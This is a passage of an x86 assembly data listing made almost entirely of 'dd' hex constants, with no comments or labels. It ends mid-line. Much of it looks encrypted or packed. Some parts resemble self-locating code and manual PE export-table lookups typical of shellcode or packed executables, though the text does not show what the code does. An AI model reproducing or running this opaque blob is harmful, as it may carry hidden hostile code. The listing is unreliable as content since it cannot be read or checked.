0BA665B5Fh, 30FF65BDh dd 21A59589h, 895907FAh, 0FA2D599Dh, 7EC18107h, 0F501CC2h dd 0C83h, 68C0F00h, 29000000h, 0FA2869B5h, 39F18107h, 8929D5CAh dd 0FA0FF19Dh, 86F18107h, 0F3260C2h, 889F9BFh, 0E88325B6h dd 48484801h, 83E5CA80h, 850F01EBh, 13h, 2DE9h, 89BE9800h dd 0D7DFC1A5h, 54897F16h, 898B77BDh, 0FA18818Dh, 0FF90E907h dd 7423FFFFh, 27E64E02h, 0F8AC148Bh, 0BC5EEEh, 840B76EEh dd 136C4F90h, 0E820E8B1h, 0CA8F6723h, 0FAD7014Eh, 12C00127h dd 4CA35F04h, 161475ADh, 163C45A5h, 120C013Dh, 0E6C55762h dd 573A0EF7h, 9708617Fh, 153A2CD9h, 0BA01CBAFh, 31B40E20h dd 93180126h, 1D3D85C2h, 77938A3Dh, 9104FB0Dh, 0E899F899h dd 96CF0123h, 1260011Eh, 0FA61014Eh, 12180127h, 4BCF5804h dd 16224DADh, 162745A5h, 1281013Dh, 5035065h, 94C14766h dd 9AE380C9h, 0FB5BC8C1h, 120C00FAh, 3BDB9CADh, 995406DEh dd 0E8AD2499h, 74905F23h, 9B97AE9Bh, 125A2520h, 121BE972h dd 4C2C0124h, 668F5FE7h, 56820500h, 12960500h, 44860124h dd 83E830E7h, 5FAD023Eh, 1D1FFB07h, 0EC284D25h, 0FA50014Eh dd 12030127h, 4C425F04h, 16E475ADh, 164445A5h, 12300132h dd 0EBDB5762h, 0AD038738h, 0E58767FCh, 0FB5BEDD0h, 12810121h dd 3AF62452h, 3EA082BDh, 0FA67014Eh, 12180127h, 4DCF5E04h dd 16227DADh, 162745A5h, 12810130h, 0CD035663h, 1AEBD9AFh dd 6A84F2A5h, 997E6BA6h, 1266FD6Ch, 1205E976h, 48230124h dd 46085BE7h, 56410500h, 127A0500h, 40720124h, 0CC8581E7h dd 0D3C8C8C3h, 152BBE42h, 243A8042h, 0E1050EDBh, 78C00124h dd 11885424h, 32300124h, 9B45C279h, 93082548h, 6022560h dd 57030124h, 3B1EC271h, 0E8CA9CB1h, 1BA18223h, 0FA67014Eh dd 12180127h, 4DCF5E04h, 16227DADh, 162745A5h, 1281013Ch dd 86035663h, 0DE6D2EF7h, 228594AFh, 2B9806DEh, 0A9890ECDh dd 78060124h, 11EB5024h, 32810124h, 9B99C27Dh, 93642568h dd 0A342560h, 53180124h, 0B68AC275h, 9B42B395h, 0E82138B9h dd 13C08A23h, 342ADBA5h, 19894F8Ch, 0BF300124h, 0F924B91Fh dd 7A71A7C9h, 0DA059DA5h, 12030BCCh, 0E4CF1324h, 6CD665Dh dd 0FA4B9F1Ah, 1230012Fh, 19EC80B4h, 0E52E1BF6h, 9B006453h dd 0E8236C91h, 91DF5F23h, 87CB04E5h, 159A2715h, 59A038A5h dd 97178A67h, 120C011Ah, 0FA56014Eh, 12030127h, 4A425904h dd 16E445ADh, 164445A5h, 1230013Eh, 0AFDB5164h, 0F714A939h dd 9F8BA316h, 15F94E42h, 14B6F6A5h, 1178313Bh, 9B600124h dd 0E81BFCB1h, 74F9FE23h, 996DDBAFh, 0E835F099h, 0D3BE8C23h dd 9F86FE56h, 0EDB545A9h, 9114B923h, 970300B6h, 15E215CDh dd 136CCE0Fh, 0E820E8B1h, 0CA8F6723h, 0FAD7014Eh, 12C00127h dd 4CA35F04h, 161475ADh, 5E983A5h, 0C08BA4F3h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 0DC35747h, 0B23363B5h dd 0E6E5847Eh, 68F0Fh, 9D310000h, 7FA23D5h, 13E8C38Bh dd 81000000h, 9783CD4Ah, 3F7C3335h, 28BCC6E6h, 7C26C82Fh dd 8D0FACA0h, 5, 86CE8166h, 11E959D9h, 0EA000000h, 0D061A3DCh dd 4F34D70Dh, 0EF801AA8h, 36E26D06h, 61C2C181h, 0E6810000h dd 69BD6E76h, 183C68h, 0D99D0B00h, 5A07FA02h, 0DB9BD0Bh dd 31FF07FAh, 0BE8h, 5ACEF00h, 0B9769CC8h, 0ADA4327Fh dd 5EFA8B66h, 5BF08158h, 894515C5h, 0FA2F2DB5h, 56F08107h dd 8018EF3Ch, 0C081F7F3h, 96AB9C2h, 0FE9h, 0E27BD700h dd 4AE93644h, 291DC4A5h, 0FB41683Dh, 85B52950h, 8F07FA32h dd 0DB50301h, 8307FA27h, 0DCB704E9h, 0F01EA83h, 1385h dd 999D8B00h, 0E907FA22h, 15h, 0EA5501F5h, 0B50EE8DBh dd 0FFFF85E9h, 9CDD2FFFh, 49069375h, 198D8DE4h, 8B07FF77h dd 0FA3295BDh, 0D98D8907h, 6607FA1Ch, 85C7D68Bh, 7FA31ADh dd 6DE0h, 3810Fh, 8B660000h, 0D985C7D8h, 7FA2Bh, 6A000000h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1A042444h dd 42000000h, 8AE5C352h, 15E04360h, 0F28B66DAh, 0FFC6BF0Fh dd 0FA0EEDB5h, 319D8B07h, 0FF07FA06h, 0FA179995h, 55006A07h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h dd 19671577h, 10E99758h, 0D0000000h, 0D28372A7h, 2B362662h dd 599BA930h, 6AC3DF4Dh, 1995FF00h, 8B07FA10h, 0E75DEBC0h dd 0E55FBDACh, 5063E46Fh, 0FAE62BCCh, 0C8302468h, 0E699DB41h dd 3FFAA7C8h, 0FF7B3294h, 7C0D5F15h, 67F5B171h, 0FF64AD39h dd 0A7571484h, 0FC0FD0D3h, 3E6605AAh, 0D1D80F8h, 7645E2C2h dd 81A33CB0h, 0FF4A4B05h, 3B8A6E6Ah, 664787CFh, 3EDA0068h dd 282C2584h, 163AF23Fh, 0D0ABD8E4h, 78218D8Dh, 9D2307FFh dd 7FA068Dh, 1CD98D89h, 9D3307FAh, 7FA02CDh, 31AD85C7h dd 58CC07FAh, 11E90000h, 0DA000000h, 28413722h, 0FDD15AFAh dd 8008B3CBh, 3B8EB88Dh, 2BD985C7h, 7FAh, 860F0000h, 4 dd 28CBB866h, 3391B5FFh, 6A07FAh, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 170424h, 55450000h, 2682E6C3h, 59D8BD6h dd 0FF07FA1Fh, 0FA179995h, 53006A07h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1604h, 0C3534300h, 663706E9h dd 6A05A9BFh, 1995FF00h, 8B07FA10h, 495AEBC0h, 8377A5CFh dd 0A451E581h, 8FBAF7Ah, 15B26878h, 7294FFF4h, 0C2063A82h dd 79DE17EDh, 0A86CDD3Fh, 761B4EB1h, 0DB4ADFBEh, 9DC5808h dd 68BA8E89h, 26DEFAE4h, 2E9D50BAh, 86F68523h, 44B2B1A4h dd 101F6A86h, 2CACA8A1h dd 0C53B7881h, 0D309B6E7h, 99DEB772h, 0BA1B9203h, 858D8D73h dd 6A07FF79h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1D042444h, 47000000h, 5DBCC357h, 3ABBC88Ah, 0F6BC74A5h dd 8E9h, 0BACB7E00h, 4A9A6503h, 0DB816688h, 8D89E9FAh dd 7FA1CD9h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Bh, 0B2C35141h, 84289BD2h, 8B99A25Fh, 0FA230DB5h, 0AD85C707h dd 6407FA31h, 0E9000069h, 11h, 0E3FF9922h, 76303233h, 0A2CB06F5h dd 6D4E6BCDh, 6880F9Ah, 2B000000h, 0FA0E8D95h, 0D985C707h dd 7FA2Bh, 0E9000000h, 6, 4E4E3A7Ah, 0B5FFB61Ah, 7FA28EDh dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 7C35545h dd 21495DF5h, 8ACDDBD5h, 95FFFCD8h, 7FA1799h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 17C35646h, 6AF9FD39h dd 1995FF00h, 8B07FA10h, 491AEBC0h, 0D634A074h, 0C8081A4h dd 64393C06h, 10E098CBh, 0AD053BB8h, 0D0D02EB8h, 0B0E902h dd 66600000h, 0C2F6DA8Ch, 0C850F04h, 3B000000h, 0FA08A585h dd 36840F07h, 3B000000h, 0FA051585h, 2A840F07h, 3B000000h dd 0FA0AF585h, 1E840F07h, 3B000000h, 0FA2ABD85h, 12840F07h dd 83000000h, 0FA1DE9BDh, 840F0107h, 5, 5FE9h, 3D08B00h dd 0BA8B3C52h, 88h, 85784A8Bh, 49840FC9h, 81000000h, 0F8C2h dd 0C728B00h, 598BC803h, 14518B1Ch, 0B8BD803h, 840FC985h dd 10h, 820FCE3Bh, 17h, 830FCF3Bh, 0Fh, 4A04C383h, 0FFDC850Fh dd 0DE9FFFFh, 8D000000h, 0FA4F669Dh, 5B807h, 0E3FF0000h dd 0D00BC361h, 6FE9h, 7D5BBC00h, 6E69570Bh, 73776F64h dd 20505820h, 63656843h, 2064656Bh, 6C697542h, 6E452064h dd 6F726976h, 6E656D6Eh, 202D2074h, 6C726570h, 73657420h dd 6C702E74h, 0Eh dup(0) dd 0FFCE9h, 7CAC6800h, 3DE907FFh, 68FFFBDAh, 7FF7DB3h dd 0FBDA33E9h, 7FCC68FFh, 29E907FFh, 68FFFBDAh, 7FF800Bh dd 0FBDA1FE9h, 80BA68FFh, 15E907FFh, 68FFFBDAh, 7FF8170h dd 0FBDA0BE9h, 858A68FFh, 1E907FFh, 68FFFBDAh, 7FF8858h dd 0FBD9F7E9h, 897168FFh, 0EDE907FFh, 9BFFFBD9h, 23CA5164h dd 0AE55DCEBh, 3DE46B52h, 0C66DF4CBh, 61FB823Bh, 8C35D072h dd 18AD5E05h, 0A510EA91h, 2F86771Eh, 850271A8h, 0EFE191C8h dd 0D5BBEF28h, 26996F56h, 0E21734F1h, 0E05D94E7h, 0E7E21723h dd 0B0ED3883h, 0F69120D9h, 942DD8BFh, 38898057h, 0BFC972B1h dd 0F6FE3BB0h, 78220F70h, 0DF1C2F3Eh, 2AB3FBA2h, 0FD48E3D2h dd 0F8FE7BB2h, 6AEF7C4Fh, 401E81Fh, 0DB269D69h, 5E65A140h dd 0F02D78C3h, 602FE81Dh, 0A01EFDCh, 898120BBh, 27429F3Ah dd 9E09ED5Ch, 70B57ED3h, 490CD0AAh, 0E8000000h, 1CD956D5h dd 7CE7E217h, 0A022D031h, 255FE1C6h, 0C4F941E8h, 0BEDE108Dh dd 0FD48EF7Ch, 0CF742D62h, 9601EFDCh, 85CD76CBh, 0F504D0AAh dd 9D000000h, 8ED4A2F4h, 8D0AA480h, 0EFDCC0D0h, 399AE530h dd 0FD39C4DDh, 6326F75h, 0A81DEED5h, 0EA7CAC0Dh, 8EA79CD8h dd 0D28F0C43h, 32E7E24Dh, 3AD3AAE7h, 0ECAB548Bh, 56E84CFAh dd 6DF4B12Eh, 954E7E2h, 0FAE81BEh, 0F930CBF2h, 6E40FD7Ah dd 55A0E7E2h, 0F9C84118h, 774EBF5Eh, 3FCAB1F0h, 63A0EB86h dd 0E272F2F6h, 962FDEE7h, 2091680Fh, 99D61685h, 33827B62h dd 0A1104D98h, 7C942224h, 77876EEFh, 1D5AA540h, 83FA81CCh dd 52CF063Bh, 0F770F675h, 0AC93CA15h, 0BE425251h, 8CEA3AA6h dd 0F613BA41h, 69B791CFh, 88532F17h, 0DA545h, 0CFE61900h dd 5A69A148h, 0E9D02CD3h, 7245BB62h, 0B944EBh, 4EF4DF79h dd 0DC830AB3h, 680F962Fh, 0F59C2392h, 0EF26AD04h, 93460380h dd 6DA6EFE1h, 0CC2CD539h, 208F2892h, 19A860FFh, 1FF6337Eh dd 0AD54DBE2h, 0E2DE655Ch, 0B7345D9Dh, 0E7E216FAh, 8DC40F5Ah dd 7C1FDE10h, 62FD48EFh, 0DC30742Dh, 0CB9601EFh, 0AA24CD76h dd 128F0ED0h, 0EFDC2455h, 0B42D6AB5h, 0E1h, 259C6D90h dd 911EEB8Ah, 2786A562h, 811C67F3h, 0E316484Ch, 0ECC534E7h dd 604FBE65h, 0CE70B5B4h, 5AF54045h, 7A58A3EBh, 0B5999E90h dd 0DC4D8CEDh, 847B02A7h, 0E11B0239h, 0BEDA3BD6h, 0EFF05A2Eh dd 47B6F33Eh, 9D24E1C8h, 45F1F360h, 0BE3DEF7Ch, 0DC468441h dd 5C99E4EFh, 0C239C00Bh, 910E457Ah, 0F77092E9h, 42C1F843h dd 7C17AE5Bh, 253FFC31h, 549FF7D9h, 44C1A817h, 0AC5F467Dh dd 0F6337E19h, 4C759037h, 17743A0Eh, 0B8FBC62Fh, 0C9Eh dd 4FD6EF20h, 0DA6150A8h, 69F0D733h, 0F2794CC2h, 8007BE4Bh dd 0A855FDE6h, 28E38A11h, 9D6F169Dh, 0DFCA32Ah, 87F62DB4h dd 0E1944D0Ah, 4074ADEFh, 5613EED5h, 2C7712ABh, 51A746E1h dd 2D78C35Eh, 0D5EC19F0h, 7144B79Eh, 8F4E8BD6h, 19A011E8h dd 0D19C6D1Dh, 1CEC8B3Ah, 88BF5AA5h, 16CF8C09h, 0E42FE7E2h dd 8839D0A7h, 8D1FA851h, 84F88A59h, 1813D04Dh, 2873E7E2h dd 75B52CEBh, 0B6840138h, 3AEF7C46h, 49813EBBh, 0AAE1EFDCh dd 0DC49702Dh, 3A85D0EFh, 0C661ACFDh, 0DC48D891h, 6451AAEFh dd 0E7DE2AC9h, 0DAA5C04Ch, 49490683h, 5EA9EFDCh, 0C9B02F13h dd 0A0EB863Dh, 0E43D0863h, 0D0AA0F5Fh, 1172h, 0A5C94E00h dd 62000008h, 16A966E3h, 0BE09E7E2h, 5D9D5581h, 836AE920h dd 56A13C8Bh, 2D96AC19h, 0FD48EF7Ch, 7B4AC362h, 51039B44h dd 3980D77h, 0A96007C6h, 0C7467D18h, 0DC3D8D4Ah, 0B84EEDEFh dd 0D41F6A05h, 5E4B2A97h, 647F5718h, 7E2DDC99h, 51D4DC3h dd 0F52C779Fh, 0BEA0224Ch, 256298ACh, 774EBF66h, 48BEA5DCh dd 0C23BDA75h, 0FE6BA8F3h, 5720F544h, 0D2935EB9h, 5C038A3Bh dd 34DD14ADh, 0BA536B27h, 85A0AA0Bh, 0E91EF12Eh, 46B82DD3h dd 17E7CE05h, 3D0863A0h, 0F9308178h, 90CDF812h, 0CCD32AD1h dd 0CACC5730h, 56F13CD6h, 17EA7E7h, 57203F44h, 0D70E59A4h dd 0BA3F385Ah, 6097E25Eh, 3EA764E1h, 0BC075F1Ah, 8DA4C07Fh dd 0C0F73474h, 0B445A543h, 93104766h, 671445D6h, 69A0EB36h dd 818E67C0h, 7F919DABh, 57C0FD48h, 49AEAF2h, 0B1EE2E35h dd 4B7A937Ah, 90229F0Eh, 3A4CBF3Dh, 35D1B8EFh, 0F7E518Eh dd 6C29A6CFh, 464D1F3Eh, 88E902BBh, 870F2CE5h, 63AEF959h dd 54B9AF2Ch, 0E02B54B5h, 644BC2A9h, 22DF59D3h, 54B5009Bh dd 98E35E23h, 0A039E261h, 30B2142Fh, 6402BFF4h, 1762551Dh dd 85741BDAh, 376CEE2Ch, 0D19C4DDBh, 0A858Eh, 0EFC63900h dd 7A49C168h, 9B04CF3h, 9225DB82h, 2099640Bh, 6E14FF99h dd 0FCA32A93h, 882FB60Fh, 15BC4372h, 0F46CDE4h, 966623A0h dd 8DC6EFE1h, 259C6D59h, 0E07A7FE7h, 7DC08B20h, 0A46h dd 0A72E8778h, 32B90800h, 0C1487F8Bh, 4AD1E41Ah, 0D85F66A3h dd 50AD553Eh, 0C03BE269h, 35C76EF5h, 0A554FB82h, 0DF4E850Ch dd 0E196A562h, 98CC05EFh, 8A259C6Dh, 0BD531EEBh, 0ED246F0Ah dd 0E216B370h, 7DC813E7h, 0AAC3DAF6h, 79F62D62h, 0EF7C1CDBh dd 1371B65Fh, 0DAE864DFh, 0CA014C9Dh, 0BE4C27E3h, 167FBC07h dd 30ECB3B1h, 0EE7FBFB1h, 0C40FAA13h, 96E1D825h, 0CF9E05Fh dd 790B78B5h, 5B933A1h, 3CD7EE1Eh, 1886E0DBh, 8CD75C57h dd 18B3FE4Fh, 0F52C61A9h, 29168278h, 72A9F4C1h, 0BC43728Bh dd 8FCDE415h, 0F94F7899h, 971B5E29h, 27000009h, 0AF56DDD0h dd 3AE1685Fh, 0C970F7CEh, 52F98037h, 0ED870EB7h, 18A15CE6h dd 0A411EA91h, 3184761Dh, 0BB0A03AAh, 118EFD34h, 0EFE19754h dd 0D5477BB4h, 6AA71EEEh, 0B04B7A93h, 95CCFB11h, 0E6155CAEh dd 9EE984CFh, 0C865A261h, 4AE7E216h, 0D84F9CA1h, 0FD3A5FF0h dd 0A2D91656h, 79628825h, 0E9230AEFh, 58A443DEh, 307BC661h dd 2057A2F3h, 0F36724A1h, 7CC7EFE1h, 10E9D03Fh, 0F4DB1AA1h dd 9B72AF06h, 2DEA6762h, 8DEFE1F3h, 0D9C0F742h, 59F89322h dd 2B7611A0h, 0FEC541E0h, 0B24FEEC1h, 5239700Bh, 0F9D00DB8h dd 1CA56003h, 0A06793D1h, 5823271Fh, 8E115h, 932ADD00h dd 1E95650Ch, 0AD14F097h, 36897F26h, 0C4FD08AFh, 12B0A33Dh dd 0A047CEF7h, 2CD35A6Bh, 0B960E7DEh, 0B3EA7140h, 980AC744h dd 316AEFE1h, 259C6DFDh, 0A312EB8Ah, 0F29B0A08h, 465FE9F9h dd 1C95648Ah, 6E3994D1h, 0B067660Fh, 0D43E5AD1h, 7849C097h dd 6F09B2F1h, 4FB08BF8h, 0D36A1DEh, 0CED7508Ch, 66A31AE7h dd 547EDh, 8A078600h, 0E7E2BBCDh, 0BBD5920Fh, 0EA35E7E2h dd 0E9DC32D1h, 9D35619Eh, 6CE9205Dh, 0EF7900CFh, 6ED246Fh dd 0C037BEF7h, 70A7427Fh, 6DE28DC7h, 3D7A9188h, 58B4CD0h dd 0BD88F359h, 34837960h, 3DA78CF7h, 551A563Ch, 0F6000000h dd 0E81F5A9Dh, 172FEC69h, 448FE7E2h, 978A53E3h, 417EC808h dd 0E39855D2h, 0F3DAE7E2h, 7514AF16h, 0A7E42F86h, 3B700B56h dd 801C6BEh, 0C41DE853h, 0F738097Fh, 1B52h, 0F404EB00h dd 3E9754D1h, 0ACF7084Ah, 0EBFD0061h, 0B09EBEF7h, 0FCC94773h dd 0A5000001h, 0E81F5A9Dh, 0C32E273Fh, 0AD0EE1F0h, 0F7BECC62h dd 0F7CA07CAh, 6C73EC2h, 0AF7AE551h, 3D7DE152h, 1FE0AEh dd 9DBC0000h, 4F841F5Ah, 5105F386h, 0C41DE853h, 0AE3C547Fh dd 3289755Ch, 960F4C97h, 0A4h, 1F5A9D72h, 15C069E8h, 348ECFC3h dd 0D18E4B80h dd 0A3EEE7E2h, 0BD7AF766h, 0FFE7E2D0h, 96C87A56h, 7388C6AAh dd 9096F742h, 0C3BC00CCh, 0F54091CEh, 5C23FBEh, 1DE7E231h dd 5750D914h, 63AEC741h, 270E8526h, 0BA4E1D4h, 34C53BF7h dd 0CB43E27Dh, 17AE5DFCh, 39041F7Ch, 0EC378E7Ch, 72CB96E9h dd 94D360C9h, 0DB18B096h, 50FFC370h, 32FED7h, 0D5DA0000h dd 68A518EEh, 0C437EC1h, 0E216D48Fh, 0F8E934E7h, 9EF19BB4h dd 39B57ED3h, 9716D750h, 0E20F5D1Ah, 3572BDE7h, 7BCh, 14C99800h dd 0A5000001h, 0E6C9h, 0B9B96200h, 0E5F1D6Ah, 9D4874B1h dd 4F841F5Ah, 3D11D8DFh, 0E548137Eh, 5B2CE966h, 418C3D32h dd 7DAA9904h, 92278200h, 3000000h, 8F18EED5h, 0DA9AEF7Eh dd 0CC095431h, 70A7E225h, 0E2E436F3h, 0B04B96E7h, 0C2FEA27Bh dd 47F06F07h, 0C3508BA0h, 9E11E7D3h, 306DB803h, 0CCB30AD5h dd 0A3EE8930h, 20BBF204h, 62D98D5h, 0BBF7701Fh, 47h, 0A82CD597h dd 81A20472h, 24D7490h, 0A0D91EC5h, 3C898269h, 561390FFh dd 0B6E7E27Dh, 0C29BD06Bh, 0D444C297h, 51F08B22h, 0CF6E09B8h dd 0A5F08B32h, 0AB1EE90Ch, 0AB6148C7h, 0B984DF1Ch, 70AADB68h dd 7F6BAh, 0C9D20000h, 53h, 399C6DA5h, 9A447E90h, 0F82DCEE1h dd 0E7E2E73Bh, 55B1509Bh, 5EC236Eh, 0DB26C1F8h, 0DC96CB9Eh dd 58E7E2E6h, 0AA6322EDh, 9D98941Bh, 873ECB5Ah, 0E31E053Ch dd 30749DDAh, 0AD52862h, 0E211E2B5h, 92D60E7h, 0BAD75034h dd 0FFFFFF03h, 2AEC996h, 0D5A50000h, 6BA81DEEh, 0B14C6594h dd 43CAFB12h, 0E6638CCCh, 0E7E21729h, 9F2ED41h, 89A28368h dd 3FBCF33Eh, 0EF7C9639h, 3AF774ABh, 9AEFDCA6h, 6C55B04Fh dd 0A03B86D1h, 0DCA5B26Bh, 9D43FEFh, 0AAB68BB8h, 906950D0h dd 0FE3B8621h, 3C85h, 5D9D6100h, 836AE920h, 90FD3A8Dh dd 0EF7C1F5Eh, 0F1AE2BAAh, 51EFDC2Eh, 2EE09D1Ah, 0F540EFDCh dd 0D11C6DAAh, 2F480136h, 6AD5EFDCh, 25F1429Fh, 0DFD0D0AAh dd 69000000h, 0FE3B8A82h, 0D19C6DD2h, 0A6418C3Bh, 0D808C66Fh dd 29DD21E8h, 0F7B875F2h, 0CD18E7E2h, 754CB990h, 0F3C23BDAh dd 0A8782158h, 41188C9Bh, 53EEC736h, 0A980BD08h, 9DDA6150h dd 0E7E29399h, 0B63D7485h, 9C6EFF3Fh, 0F8438E29h, 9124DAC1h dd 124AABF6h, 395E6F7h, 50CD3C79h, 0EF767A26h, 7B3F1F80h dd 9F86BB7Bh, 0AC788E38h, 8539E08h, 0A61FEAD1h, 3F9E01Fh dd 97CE19B4h, 0DE2C5D1Ah, 3572BDEFh, 0DC1AA35Eh, 271C69A6h dd 0C7549762h, 0F7000004h, 7F26AD00h, 0AB1388Fh, 9940C7FEh dd 22C95067h, 0BD57DEE7h, 0E8D12CD6h, 7441BA61h, 1B446EDh dd 8B3AD37Ah, 0E15ECD04h, 0EFE19C24h, 0D5174B84h, 6AA71EEEh dd 71397693h, 6255A742h, 84000A01h, 0E11B0239h, 0B3F03BD6h dd 5BC4DF4h, 9C6D827Eh, 0F607EE25h, 3AD924BFh, 0E1B4F1C4h dd 0F1AE2BAAh, 51E7E216h, 1BF2C906h, 6CAC23AAh, 597BF82Fh dd 3EF7C17h, 31E81DB8h, 0A4EFDC18h, 761F7E49h, 2F01EA17h dd 7D246159h, 20C9003Dh, 0ECE14987h, 0B2215E3Bh, 76531335h dd 0EB72BDF7h, 0C0F73474h, 6D3DA643h, 0C4FB46FFh, 139A21DDh dd 0D5CE17D6h, 0EEB861FFh, 0F6B14A37h, 0B349205Dh, 88327D04h dd 0E000000h, 1CD956D5h, 7CE7E217h, 170BC845h, 206BE7E2h dd 722B98D5h, 74E7E217h, 0C36AF1CEh, 0CA498047h, 0E217904Dh dd 68A5F0E7h, 16A36095h, 90BFE7E2h, 0D38A67E7h, 0BA948574h dd 568BEC57h, 207BB859h, 4D749055h, 5D1A9716h, 0BDE7E27Dh dd 7D4C0986h, 61ACE7E2h, 0DB1AD916h, 4DAE07F4h, 0D37C6D60h dd 0FE623B1h, 0FA2FCAFDh, 0E7E24840h, 7E47127Dh, 226238Ch dd 0BF264F82h, 0C7AEED74h, 35218235h, 8567716Dh, 0D5709CD9h dd 6A518EEh, 0AC83C0F5h, 8730675Eh, 35D2F7A6h, 0D9ACE949h dd 5AF5C03Ah, 0D77245BBh, 58F3C238h, 0A415E0FBh, 9F8E37A6h dd 10A9F95Ch, 400B66A3h, 0A9308775h, 3C8B836Ah, 0AC1956A1h dd 0E7E27F97h, 505EE215h, 2D6FD750h, 4BFFFFFFh, 34D19C6Dh dd 0BD53F28Dh, 0D9246F0Ah, 0A554F38Eh, 0D956D50Ch, 0E7E2171Ch dd 7692317Ch, 0DC53124Fh, 0A9285F9Ch, 16F0AD2Ah, 550E7E2h dd 0E21713D0h, 0EB2873E7h, 31F9FF7Ch, 664DEF7Ch, 94E5229Bh dd 9077AE49h, 9E0B4879h, 0EFDC41E5h, 0E53C0772h, 0D0AA125Eh dd 5973h, 108D0C00h, 0EFDC3A53h, 0D1E814B3h, 9D1D4986h dd 40E9205Dh, 0D6CA702Eh, 619938B9h, 29A61552h, 0EF7C5CF7h dd 18A15C43h, 0A43F8ADBh, 0DC6CB66Fh, 0DD843EFh, 8231C9B0h dd 5BC48E7h, 97D41F6Ah, 0AA6B072Ch, 0C845C4D0h, 0EFDC610Bh dd 8930CC6Bh, 1B58A3EEh, 0D4A2h, 9C6D7E00h, 1EEB8A25h dd 17813EBBh, 96E1E7E2h, 0D079B04Bh, 0C06F4E2h, 6E4582D5h dd 8F36D29Fh, 0C972A944h, 87CC378h, 663D7AEAh, 58971E97h dd 932E9571h, 9A9E0B48h, 86E7E226h, 10B73E77h, 0BE2DC8F9h dd 230A417Eh, 0F843DEE9h, 95CF4CBBh, 0EFEF7C3Ah, 66A61DA4h dd 3575F229h, 9FF7709Eh, 0B79E1D54h, 823F744Bh, 5CF7D91Eh dd 0AFFA13AAh, 0E11C0372h, 5FAA51D8h, 7BD02866h, 0D9A42F17h dd 1F996h, 7B32C500h, 6BD4DF4h, 952CD87Fh, 1E91670Eh, 0AC15F097h dd 0FA988B25h, 882FB60Fh, 14BB4273h, 0A148CFE6h, 9BD25968h dd 9EF2AF2Ch, 1952EFE1h, 6F56D5E5h, 39F62B92h, 99E7E217h dd 1AB500FAh, 19E584CFh, 7FBC07A2h, 0DD645DA8h, 67EEC736h dd 205D9D6Bh, 0C1C16AE9h, 0A31AE7A2h, 0E4F02A42h, 1A083AA7h dd 2772EF7Dh, 299E578Ch, 0C02BEFDDh, 2E979CF5h, 0D82AD0ABh dd 6000000h, 8A259C6Dh, 0CA71EEBh, 0E21BD3D7h, 774EBFE7h dd 15AC5940h, 9B7219D8h, 0D8208F2Ah, 6ED6CA3h, 0C324BFF6h dd 0CD1505D5h, 55F43F85h, 2B7611A8h, 0B44781EEh, 2A1EF7Ch dd 1F96660Bh, 53EE3984h, 9F86BD08h, 7EF8596Ch, 0A83DDAD7h dd 7EF5B4F1h, 4BCA013Eh, 3ECA9764h, 56A13C87h, 8DC7AC19h dd 7259F770h, 0F2912C99h, 0C813AE17h, 0A4EF407Dh, 0F26FEE6Dh dd 0F7D92035h, 2BC6F90Fh, 0D228C7E0h, 845B98E3h, 1AD75479h dd 7AF7D920h, 0B65DE42Fh, 0FA34724Bh, 0A62F1775h, 0E098DBh dd 29DE0000h, 96660D94h, 15F1981Fh, 8E8027AEh, 0FC09B037h dd 0BFA43EC5h, 48CFF613h, 0D45B6AA1h, 61E8DF2Dh, 0EB7243BAh dd 0BC845B4h, 6BEFE1A0h, 906DFE32h, 2FBA229h, 6D302CB3h dd 538A259Ch, 3BD09D6Ch, 59A4EF8Ah, 0FDB4451Ch, 96BFFF76h dd 34695CAFh, 0E7E21777h, 0A418CD7h, 7900F48Dh, 662B8CEFh dd 8D29D291h, 7C639AE5h, 0B5A9218Eh, 511FDF0Dh, 0EF6EA506h dd 850E89CAh, 27D67548h, 7443BBA2h, 9C598ED9h, 0FCEFE126h dd 38DF66B1h, 2055F0C1h, 0EC6377DAh, 33F2BDD8h, 0C582FFDAh dd 25FC63F7h, 0F23D7086h, 0FAE120A7h, 0A178B500h, 79225968h dd 0BF1CA638h, 0FFD20F64h, 7C17AE60h, 7C39041Fh, 6AD348Dh dd 0E916AF7h, 0EA4C544h, 0EA35805Ah, 80C4Fh, 0DAE80000h dd 457C8C73h, 9A6DDC08h, 10E98823h, 956706A1h, 13E88722h dd 9D6807A2h, 1FEA8924h, 9A6C0BA6h, 1DE98823h, 9C6C0BA6h dd 68FA8A25h, 3837h, 53240C89h, 0C381E389h, 4, 4EB81h dd 1C870000h, 0C895C24h, 5F416824h, 1C890000h, 7B2E6824h dd 0C8B07FFh, 4C48324h, 241C8B54h, 4C481h, 8F510000h, 34FF0843h dd 0C4835B24h, 2434FF04h, 4C48159h, 0E9000000h, 0FFFBCA50h dd 0E1AF641h dd 8A76B817h, 0C50307FFh, 0A4A2E0FFh, 36E94219h, 6A3E5760h dd 2A193C26h, 15F1612Eh, 1A760E04h, 5F8453AAh, 581D1C1Ch dd 1969682Bh, 1D5010Ah, 0CB534ADCh, 1B497B61h, 0FB8F57F7h dd 0A8C7255h, 0ECB14980h, 0A60A2402h, 72655325h, 337B15E2h dd 9258148Bh, 98D967A6h, 6A4E5E11h, 10730E36h, 27E919C3h dd 0DD000000h, 569B06h, 8 dup(0) dd 2AE90000h, 9000005h, 0AE5B910Dh, 57043A64h, 0FDAAE0BEh dd 0A9568C12h, 0CC003668h, 0BDE13017h, 643ADA87h, 0F8F812Eh dd 0B7E72CD9h, 3E5AB281h, 7E60EDBh, 0A7ECA309h, 5E19F66Ch dd 0E683DF42h, 43AC05FFh, 0DDC153B8h, 267B0B74h, 69879E9h dd 43E9527Bh, 0C7C64BB0h, 0B461F749h, 21C170EAh, 0DE76AC15h dd 6E148A89h, 0C14C52C1h, 0AAF41C71h, 0BBBC5704h, 0E71B3C9Fh dd 930B06FFh, 90F952h, 14FD65ABh, 6DD6FF8Ah, 14B9E2h, 65F89Eh dd 0A8018C12h, 550D0358h, 2E57E2BCh, 0E49E1FC5h, 0C6E8EB15h dd 53AFFF2Bh, 8B1300ADh, 3668A855h, 0E1BD5300h, 0CADC0656h dd 5BAC0D45h, 67AD5A00h, 0DA1AAC37h, 